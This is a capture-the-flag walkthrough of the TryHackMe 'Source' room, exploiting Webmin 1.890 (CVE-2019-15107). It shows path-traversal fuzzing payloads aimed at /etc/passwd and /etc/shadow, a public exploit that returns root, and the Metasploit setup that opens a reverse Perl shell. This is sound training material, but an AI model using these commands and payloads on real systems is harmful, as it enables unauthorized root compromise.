TryHackMe - Source
Remote Code Execution in action (CVE-2019-15107)
TryHackMe - Source
Introduction
Exploit a recent vulnerability and hack Webmin, a web-based system configuration tool
Pretty fun and easy challenge, demonstrating how dangerous are RCE vulnerabilities.
Nmap
Let’s start with nmap scan:
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nmap -T4 -n -sC -sV -Pn -p- 10.10.204.57
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 b7:4c:d0:bd:e2:7b:1b:15:72:27:64:56:29:15:ea:23 (RSA)
| 256 b7:85:23:11:4f:44:fa:22:00:8e:40:77:5e:cf:28:7c (ECDSA)
|_ 256 a9:fe:4b:82:bf:89:34:59:36:5b:ec:da:c2:d3:95:ce (ED25519)
10000/tcp open http MiniServ 1.890 (Webmin httpd)
|_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
So we have 2 ports open
22/tcp
10000/tcp which seems to be some MiniServ 1.890 application
Reconnaisance
Let’s visit the webpage, wops, we need to visit https://10.10.204.57:10000/
We can see some login form in here
Oops seems like there is a timeout for too many attempts
Let’s run ffuf to check for additional LFI vulnerability
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$ ffuf -w /usr/share/wordlists/LFI-Jhaddix.txt -u "https://10.10.204.57:10000/FUZZ" -fl 124
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : https://10.10.204.57:10000/FUZZ
:: Wordlist : FUZZ: /usr/share/wordlists/LFI-Jhaddix.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response lines: 124
________________________________________________
..%2F..%2F..%2F%2F..%2F..%2F%2Fvar%2Fnamed [Status: 200, Size: 3703, Words: 225, Lines: 34, Duration: 3079ms]
..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd [Status: 200, Size: 3703, Words: 225, Lines: 34, Duration: 3067ms]
../apache/logs/access.log [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 3083ms]
%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fetc/shadow [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 3066ms]
..%2F..%2F..%2F%2F..%2F..%2Fetc/passwd [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 3075ms]
=3D “/..” . “%2f.. [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 3070ms]
..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fshadow [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 3070ms]
..%2F..%2F..%2F%2F..%2F..%2Fetc/shadow [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 3065ms]
..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/boot.ini [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 3055ms]
admin/access_log [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 3044ms]
\…..\\\…..\\\…..\\\ [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 3120ms]
%00../../../../../../etc/passwd [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 3385ms]
/.../.../.../.../.../ [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 3059ms]
/admin/install.php [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 3378ms]
:: Progress: [929/929] :: Job [1/1] :: 93 req/sec :: Duration: [0:00:13] :: Errors: 915 ::
OK Seems like we have Local File Inclusion vulnerability as we have some hits
My machine stopped working after the scan so I need to restart it, our new IP is 10.10.109.43
Ok let’s not overcomplicate things, in the nmap scan we had Webmin 1.890 version so let’s google it and we can already see some exploits available
https://github.com/foxsin34/WebMin-1.890-Exploit-unauthorized-RCE/blob/master/webmin-1.890_exploit.py
Let’s try to use it
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$ python3 webmin-1.890_exploit.py 10000 id
/home/rene/Downloads/webmin-1.890_exploit.py:6: SyntaxWarning: invalid escape sequence '\_'
STAIN = """
--------------------------------
______________ _____ __
/ ___/_ __/ | / _/ | / /
\__ \ / / / /| | / // |/ /
___/ // / / ___ |_/ // /| /
/____//_/ /_/ |_/___/_/ |_/
--------------------------------
WebMin 1.890-expired-remote-root
<h1>Error - Perl execution failed</h1>
<p>Your password has expired, and a new one must be chosen.
uid=0(root) gid=0(root) groups=0(root)
</p>
curl: (56) GnuTLS recv error (-110): The TLS connection was non-properly terminated.
We can use metasploit for this, our vulnerability is CVE-2019-15107
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msfconsole
msf6 > search 2019-15107
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/linux/http/webmin_backdoor 2019-08-10 excellent Yes Webmin password_change.cgi
msf6 > use exploit/linux/http/webmin_backdoor
msf6 > options
Global Options:
===============
Option Current Setting Description
------ --------------- -----------
ConsoleLogging false Log all console input and output
LogLevel 0 Verbosity of logs (default 0, max 3)
MeterpreterPrompt meterpreter The meterpreter prompt string
MinimumRank 0 The minimum rank of exploits that will run without explicit confirma
tion
Prompt msf6 The prompt string
PromptChar > The prompt character
PromptTimeFormat %Y-%m-%d %H:%M:%S Format for timestamp escapes in prompts
SessionLogging false Log all input and output for sessions
SessionTlvLogging false Log all incoming and outgoing TLV packets
TimestampOutput false Prefix all console output with a timestamp
msf6 > use exploit/linux/http/webmin_backdoor
[*] Using configured payload cmd/unix/reverse_perl
msf6 exploit(linux/http/webmin_backdoor) > options
Module options (exploit/linux/http/webmin_backdoor):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metas
ploit/basics/using-metasploit.html
RPORT 10000 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI / yes Base path to Webmin
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an addr
ess on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
Payload options (cmd/unix/reverse_perl):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic (Unix In-Memory)
View the full module info with the info, or info -d command.
So we need to set LPORT LHOST RHOSTS and set SSL true to use SSL
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msf6 exploit(linux/http/webmin_backdoor) > set LPORT 1337
LPORT => 1337
msf6 exploit(linux/http/webmin_backdoor) > set LHOST 10.11.75.122
LHOST => 10.11.75.122
msf6 exploit(linux/http/webmin_backdoor) > set RHOSTS 10.10.109.43
RHOSTS => 10.10.109.43
msf6 exploit(linux/http/webmin_backdoor) > set SSL true
[!] Changing the SSL option's value may require changing RPORT!
SSL => true
msf6 exploit(linux/http/webmin_backdoor) > exploit
[*] Started reverse TCP handler on 10.11.75.122:1337
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable.
[*] Configuring Automatic (Unix In-Memory) target
[*] Sending cmd/unix/reverse_perl command payload
[*] Command shell session 1 opened (10.11.75.122:1337 -> 10.10.109.43:51696) at 2025-02-22 13:19:51 +0100
Let’s change our shell to interactive shell
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python -c 'import pty; pty.spawn("/bin/bash")'
And since we are the root already, we can just cat the flags
User Flag
Root Flag
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CC BY 4.0
by the author.